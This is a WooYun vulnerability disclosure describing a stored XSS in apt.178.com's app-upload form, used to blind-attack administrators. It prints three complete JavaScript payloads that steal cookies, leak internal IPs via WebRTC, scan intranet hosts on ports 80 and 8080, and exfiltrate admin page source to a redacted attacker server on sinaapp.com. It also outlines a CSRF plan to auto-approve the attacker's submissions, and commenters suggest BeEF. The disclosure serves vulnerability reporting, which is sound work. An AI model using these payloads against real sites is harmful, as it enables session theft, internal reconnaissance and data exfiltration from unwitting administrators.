当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-098031

漏洞标题:通过一个存储XSS探测178内网

相关厂商:178游戏网

漏洞作者: bey0nd

提交时间:2015-02-22 23:17

修复时间:2015-04-13 16:58

公开时间:2015-04-13 16:58

漏洞类型:xss跨站脚本攻击

危害等级:高

自评Rank:15

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-02-22: 细节已通知厂商并且等待厂商处理中
2015-02-25: 厂商已经确认,细节仅向厂商公开
2015-03-07: 细节向核心白帽子及相关领域专家公开
2015-03-17: 细节向普通白帽子公开
2015-03-27: 细节向实习白帽子公开
2015-04-13: 细节向公众公开

简要描述:

通过一个存储XSS探测178内网 附payload

详细说明:

站点:http://apt.178.com/
在添加app应用或者铃声资源的时候,没有对输入进行过滤。
如下

1.png


上传之后需要等管理员审核后才会在前台显示出。
那就可以盲打管理了。
成功收到cookie等信息,好激动

2.png


但是后台却做了限制

3.png


好吧。就这样结束总感觉不太好。
然后就想用xss做一些其他的事。。
首先来获取内网ip吧
借鉴了0x_jin牛的payload,然后本地随手改了一下,放在某渣渣xss平台。xss平台可以用的payload为
福利:

var RTCPeerConnection = window.webkitRTCPeerConnection || window.mozRTCPeerConnection;
if (RTCPeerConnection)(function() {
var rtc = new RTCPeerConnection({
iceServers: []
});
if (window.mozRTCPeerConnection) {
rtc.createDataChannel('', {
reliable: false
});
};
rtc.onicecandidate = function(evt) {
if (evt.candidate) grepSDP(evt.candidate.candidate);
};
rtc.createOffer(function(offerDesc) {
grepSDP(offerDesc.sdp);
rtc.setLocalDescription(offerDesc);
}, function(e) {
console.warn("offer failed", e);
});
var addrs = Object.create(null);
addrs["0.0.0.0"] = false;
function updateDisplay(newAddr) {
if (newAddr in addrs) return;
else addrs[newAddr] = true;
var displayAddrs = Object.keys(addrs).filter(function(k) {
return addrs[k];
});
var address = displayAddrs.join(" or perhaps ") || "n/a";
sendip(address);
}
function grepSDP(sdp) {
var hosts = [];
sdp.split('\r\n').forEach(function(line) {
if (~line.indexOf("a=candidate")) {
var parts = line.split(' '),
addr = parts[4],
type = parts[7];
if (type === 'host') updateDisplay(addr);
} else if (~line.indexOf("c=")) {
var parts = line.split(' '),
addr = parts[2];
updateDisplay(addr);
}
});
}
})();
function sendip(ipaddress) {
alert(ipaddress);
var url = "http://*****.com/index.php?do=api&id={projectId}&address=" + ipaddress;
var xmlhttp1 = new XMLHttpRequest();
xmlhttp1.open("GET", url, true);
xmlhttp1.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
xmlhttp1.send(null);
}


然后成功获取到内网的ip信息

内网ip.png


当前ip:192.168.1.111
然后就想探测一下该内网段中存活的主机。在本地测试了一下,如果直接获取1~255的话浏览器略卡。怕被发现就探测110~130之间了。
payload:

function ipsend(ip, netport) {
var ipdata = ip + ":" + netport;
var url = "http://*****.sinaapp.com/insert.php?ip=" + ipdata;
var xmlhttp1 = new XMLHttpRequest();
xmlhttp1.open("GET", url, true);
xmlhttp1.send(null);
}
function ipCreate(ip) {
var ips = ip.replace(/(\d+\.\d+\.\d+)\.\d+/, '$1.');
for (var i = 100; i <= 130; i++) { //探测110~130之间
ElementCreate(ips + i, "80", i);
ElementCreate(ips + i, "8080", i);
}
}
function ElementCreate(ip, xport, i) {
var url = "http://" + ip + ":" + xport;
var scriptElement = document.createElement("script");
scriptElement.src = url;
scriptElement.setAttribute("onload", "ipsend(\'" + ip + "\',\'" + xport + "\')");
document.body.appendChild(scriptElement);
}
ipCreate("192.168.1.100");


我把获取到的内网ip和端口发送到我的新浪云sae上了。

C.png


到这里以后感觉这个内网中好像并没有开发的信息,好像只是负责后台的审核
既然内网这条路不好走,为了响应大乌云的号召。http://zone.wooyun.org/content/18421
所以考虑换个方式。想通过xss获取审核页面的源代码信息,然后提取出审核通过的请求链接。然后在通过一次xss来csrf劫持管理员,在管理打开审核页面的时候,自动发起请求让我提交的应用自动通过,从而达到蠕动到前台来扩大影响。
走起
首先获取http://apt.178.com/console/deb的源代码
payload

Connection("console/deb");
function Connection(url) {
var xmlhttp = new XMLHttpRequest();
xmlhttp.onreadystatechange = function() {
DataSend('a', 'filename getresponse code is : ' + encodeURIComponent(xmlhttp.status));
if (xmlhttp.readyState == 4 && xmlhttp.status == 200) {
DataSend(encodeURIComponent(url), encodeURIComponent(xmlhttp.responseText));
}
}
xmlhttp.open("GET", url, true);
xmlhttp.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
xmlhttp.send();
}
function DataSend(fileurl, FileData) {
var url = "http://*****.sinaapp.com/insert.php?ip=" + FileData;
var xmlhttp1 = new XMLHttpRequest();
xmlhttp1.open("POST", url, true);
xmlhttp1.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
xmlhttp1.send("ip=" + FileData);
}


获取到的信息同样的自动请求我的服务端http://*****.sinaapp.com/insert.php来存储
在js中发起两次请求,首先存储http 状态码,其次内容

0.png


200.请求成功
但是奇怪的是虽然状态码来了,但是内容却没来。这就让我费解了。服务端数据库中也没有
耽误好久,然后在服务器日志中查到该源码信息

html.png


但是并不完整
前前后后花了好几天,包括写payload和等待后台管理员审核。再加上sae这环境。累尿了
就不在向下xss了
好了,故事讲完了。

漏洞证明:

如上

修复方案:

过滤

版权声明:转载请注明来源 bey0nd@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:10

确认时间:2015-02-25 09:56

厂商回复:

谢谢!

最新状态:

暂无


漏洞评价:

评论

  1. 2015-02-22 23:21 | 小龙 ( 普通白帽子 | Rank:1208 漏洞数:316 | 乌云有着这么一群人,在乌云学技术,去某数...)

    沙发

  2. 2015-02-23 10:54 | p4ssw0rd ( 普通白帽子 | Rank:306 漏洞数:92 | 不作死就不会死)

    你这是最近网好了...

  3. 2015-03-02 19:58 | s3xy ( 核心白帽子 | Rank:832 漏洞数:113 | 相濡以沫,不如相忘于江湖)

    你这是最近网好了...

  4. 2015-03-31 00:49 | M4ster ( 实习白帽子 | Rank:39 漏洞数:7 | www.m4ster@gmail.com)

    为何不直接上BeEF?而且GET请求只能传递2kb数据,下次获取源码用POST吧。

  5. 2015-06-12 09:09 | px1624 ( 普通白帽子 | Rank:1036 漏洞数:175 | px1624)

    @M4ster 啥BeEF?不过这个获取源码肯定还是post好,get有长度限制的

  6. 2015-06-12 14:33 | M4ster ( 实习白帽子 | Rank:39 漏洞数:7 | www.m4ster@gmail.com)

    @px1624 https://github.com/beefproject/beef